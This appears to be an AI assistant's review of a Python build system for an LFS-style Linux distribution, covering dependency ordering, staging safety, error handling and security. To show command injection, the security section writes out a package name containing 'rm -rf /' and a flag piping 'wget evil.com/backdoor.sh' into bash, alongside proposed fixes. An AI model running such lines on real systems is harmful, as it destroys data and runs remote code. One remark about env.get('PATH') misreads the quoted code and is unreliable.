This is an impressive build system — clean architecture, good separation of concerns, and thoughtful handling of the unique constraints of an LFS-style distribution (offline, chroot, DESTDIR staging). I'll address your specific concerns first, then provide general observations.

1. Dependency Resolution and Cycle Detection

Status: Mostly correct, with a subtle bug

The topological sort in graph.py has an issue in the priority queue handling. Here's the problem:

```
# Current code — queue is a deque, but you're using it like a priority queue
queue = deque(sorted(queue, key=sort_key))  # This sorts once, but never again

while queue:
    name = queue.popleft()
    # ...
    for n in sorted(next_batch, key=sort_key):
        queue.append(n)  # Appends to end, but new items may have lower priority
```

This violates the sort order. Newly-unblocked packages are appended to the end, but they might have higher priority (e.g., tier="toolchain") than packages already in the queue. You need a proper priority queue:

```
import heapq

# Use heap with (priority_tuple, name)
# where priority_tuple = (tier_rank, pass_num, name)
heap = [(sort_key(name), name) for name in queue]
heapq.heapify(heap)

while heap:
    _, name = heapq.heappop(heap)
    # ...
    for dependent in self.required_by.get(name, set()):
        in_degree[dependent] -= 1
```

```
if in_degree[dependent] == 0:
    heapq.heappush(heap, (sort_key(dependent), dependent))
```

Cycle detection — _find_cycle has a logic flaw. It marks visited across different start nodes but never clears path/path_set properly for DFS. The current implementation can miss cycles that don't start at the earliest node. Consider using Kahn's algorithm's leftover nodes to detect cycles more reliably (standard approach).

Dependency resolution — You're combining build/host/runtime into a single dependency set. This is correct for *build order* (all must exist before building), but consider whether runtime dependencies are truly required pre-build. Some runtime deps might only be needed at execution time, not compilation.

2. DESTDIR Staging Safety

Status: Good, but could be stronger

The pre-deploy check for root symlink collisions is smart and necessary. However, there are additional safety concerns:

Missing check for /etc merges: Some packages might install to /etc directly (e.g., /etc/profile.d/). That's fine, but staging a directory at /etc that shadows an existing symlink is a problem. You only check lib, lib64, bin, sbin.

Race condition between check and deploy: You check staging_dir.is_dir() and root_path.is_symlink(), but between check and tar pipe, nothing prevents someone from modifying the filesystem. In a single-user build environment this is probably fine, but consider adding a --no-clobber style check to tar itself (you already use --no-overwrite-dir --keep-directory-symlink — good).

Missing absolute path validation: The tar pipe extracts with -C /, so a malicious package with ../../../../etc/passwd in its staging would be dangerous. Your manifest generation uses os.walk which normalizes paths, but consider adding a path sanitization step.

3. Error Handling

Status: Generally good, but has silent failure paths

Strengths: Command streaming to logs, exit code checking, per-package log files.

Problems found:

1. **run_command swallows exception details**:

except Exception as e:
 self.logger.error(f"command execution failed: {e}")
 return 1

If subprocess.Popen fails (e.g., /bin/bash missing, OOM), you log and return 1, but you lose the traceback. Consider raise or logging with exc_info=True.

2. **extract_source has inconsistent error returns**:
- For .zip extraction, you catch Exception and set exit_code=1 but don't log the exception details.
- For bundled deps, you log error and return None but continue (fine, but caller will fail).
3. **pkg_verify fails silently on missing manifest** (returns False, but the error is logged). This is fine.
4. **fs_snapshot ignores permission errors** silently:

for root, dirnames, files in os.walk(d, followlinks=False):

If os.walk hits unreadable directories, it prints to stderr (if Python's default) but continues. Consider onerror handler.

5. **Critical missing check**: build_package assumes pkg.template_path exists for custom build detection, but it might be None (from parse_template it's always set, but still).

4. --skip-built Logic

Status: Reasonable trade-off, but with a known caveat

You acknowledge the limitation in the comment. The specific Rust example (post_install moves/deletes files) is a real edge case. A few considerations:

Better approach for your use case: Since you have post_install that runs *after* manifest creation, the manifest isn't a true "build complete" marker — it's "install complete, pre-post_install". If a package's post_install fails, you'd still mark it as built and skip it on resume.

Suggested improvement: Create a separate completion marker:

```
completion_marker = self.pkg_db / f"{pkg.name}-{pkg.version}.done"
if self.skip_built and completion_marker.exists():
   # Skip
```

Write it after post_install succeeds.

Integrity check compromise: Since you're rebuilding from source anyway (no binary cache), re-verifying all files would be expensive. The current approach is appropriate.

5. Security

Status: Several injection vulnerabilities

Command Injection via Package Names

The most serious issue: pkg.name and pkg.version are interpolated into shell commands without escaping.

```
# In run_command, cmd is built from untrusted package data
cmd = f'make -j${{IGOS_JOBS}} {flags}'  # flags comes from pkg.configure_flags
```

If a malicious package.yml contains:

```
name: "'; rm -rf /; echo '"
configure_flags: ["FOO=bar; wget evil.com/backdoor.sh | bash"]
```

These strings will be executed directly. Even with trusted package templates (you control them), this is still a risk if a contributor submits a malicious PR.

Fix: Either:

1. Validate package names against a strict regex: ^[a-zA-Z0-9_\-+]+$
2. Use shlex.quote() on all untrusted strings before embedding in shell commands
3. Better yet, avoid shell entirely — use subprocess.run() with argument lists

Path Traversal in Archive Extraction

```
# In extract_source for .zip files
with zipfile.ZipFile(str(tarball_path)) as zf:
  zf.extractall(str(src_dir))
```

ZipFile.extractall() is vulnerable to path traversal if the zip contains ../../../etc/passwd. The tar extraction uses --strip-components=1 but doesn't check for .. paths either.

Fix:

```
def safe_extract(zipf, path):
  for member in zipf.namelist():
    member_path = Path(member)
    if member_path.is_absolute() or '..' in member_path.parts:
      raise ValueError(f"Bad path in archive: {member}")
  zipf.extractall(path)
```

Shell Injection in Validation

```
if check.script:
  exit_code = self.run_command(check.script, env, cwd)
```

The validation script from package.yml is executed directly. Same injection risk.

Environment Variable Injection

The build_env method sets env["PATH"] by concatenating untrusted paths from staging directories. Not a direct injection, but LD_LIBRARY_PATH modifications could cause library loading issues.

Recommended Mitigations

1. **Validate all package.yml fields** with regex whitelists
2. **Use shlex.quote()** on every value interpolated into shell commands
3. **Consider moving to non-shell execution** for most operations (use subprocess.run([...]) with argument lists)
4. **Add a "safe mode"** for production builds that refuses to run with unvalidated templates

6. General Code Quality

Strengths:

- Excellent separation of concerns (parser, graph, builder, styles, logging)
- Clear dataclass definitions with type hints
- Good use of pathlib over os.path
- Streaming logs without buffering — critical for debugging
- Thoughtful handling of multi-pass builds (direct_install flag)
- Slackware-style manifests are a solid choice for a from-scratch distro

Issues and improvements:

Resource Leaks

BuildLogger._file is never closed if an exception occurs mid-package:

```
def start_package(self, name, version, style):
  self._file = open(log_path, "w")  # No context manager
```

If build_package raises (not likely, but possible), the file handle leaks. Use try/finally or a context manager.

Race Conditions in Directory Creation

```
staging = self.pkg_staging / f"{pkg.name}-{pkg.version}"
if staging.exists():
  shutil.rmtree(staging)
```

staging.mkdir(parents=True)

Between exists() and rmtree(), another process could create the directory. In a single-threaded build it's fine, but consider shutil.rmtree(staging, ignore_errors=True) followed by mkdir(exist_ok=True).

Inefficient Filesystem Walking

fs_snapshot walks entire /usr, /etc, etc. for every direct_install package. For 470 packages, this is O(N * M) where M is the number of files. At scale, this will be painfully slow.

Alternative: Use a database of installed files (you already have manifests) and compute diff by comparing with previous manifests.

Hardcoded Paths

- /var/lib/igos/packages — assumes the build system is running on the target. In a chroot, this might not exist.
- /bin/bash hardcoded — fine for LFS, but consider sh for portability.
- x86_64-igos-linux-gnu — not configurable per-package override (though pkg.target_triple exists, it's not consistently used).

run_command Shell=True Security

You're already using shell=True, which is the source of injection risks. Consider refactoring to use list arguments where possible.

Missing Input Validation in build_env

env["PATH"] = f"/opt/rustc/bin:{self.system_root}/tools/bin:" + env.get("PATH", "")

If env.get("PATH") is None, this becomes ... + "None". Use env.get("PATH", "").

Inconsistent Error Patterns

- extract_source returns None on failure
- pkg_manifest returns False on failure

- run_command returns int (exit code)
- build_package returns bool

This is fine but document the contract.

Summary Table

Area	Rating	Notes
Dependency resolution	7/10	Topological sort has priority queue bug; cycle detection could be cleaner
DESTDIR safety	8/10	Good symlink check; missing /etc validation; path traversal risk
Error handling	7/10	Generally solid; silent failures in edge cases; missing tracebacks
--skip-built	7/10	Reasonable trade-off; post_install ordering issue
Security	4/10	Multiple injection vectors; needs input validation and quoting
Code quality	8/10	Clean architecture; some resource leaks; performance concerns

Priority Fixes

1. **Command injection** — Add shlex.quote() or move to list-based subprocess calls (critical)
2. **Priority queue bug** — Fix topological sort order (high)
3. **Path traversal in zip extraction** — Validate archive members (high)
4. **File handle leak** — Use context manager or try/finally in BuildLogger (medium)
5. **fs_snapshot performance** — Optimize or document the $O(N^2)$ behavior (medium for 470 packages)

This is a well-designed system that's clearly been battle-tested. The security issues are the main concern, but they're fixable without major architecture changes. Good work.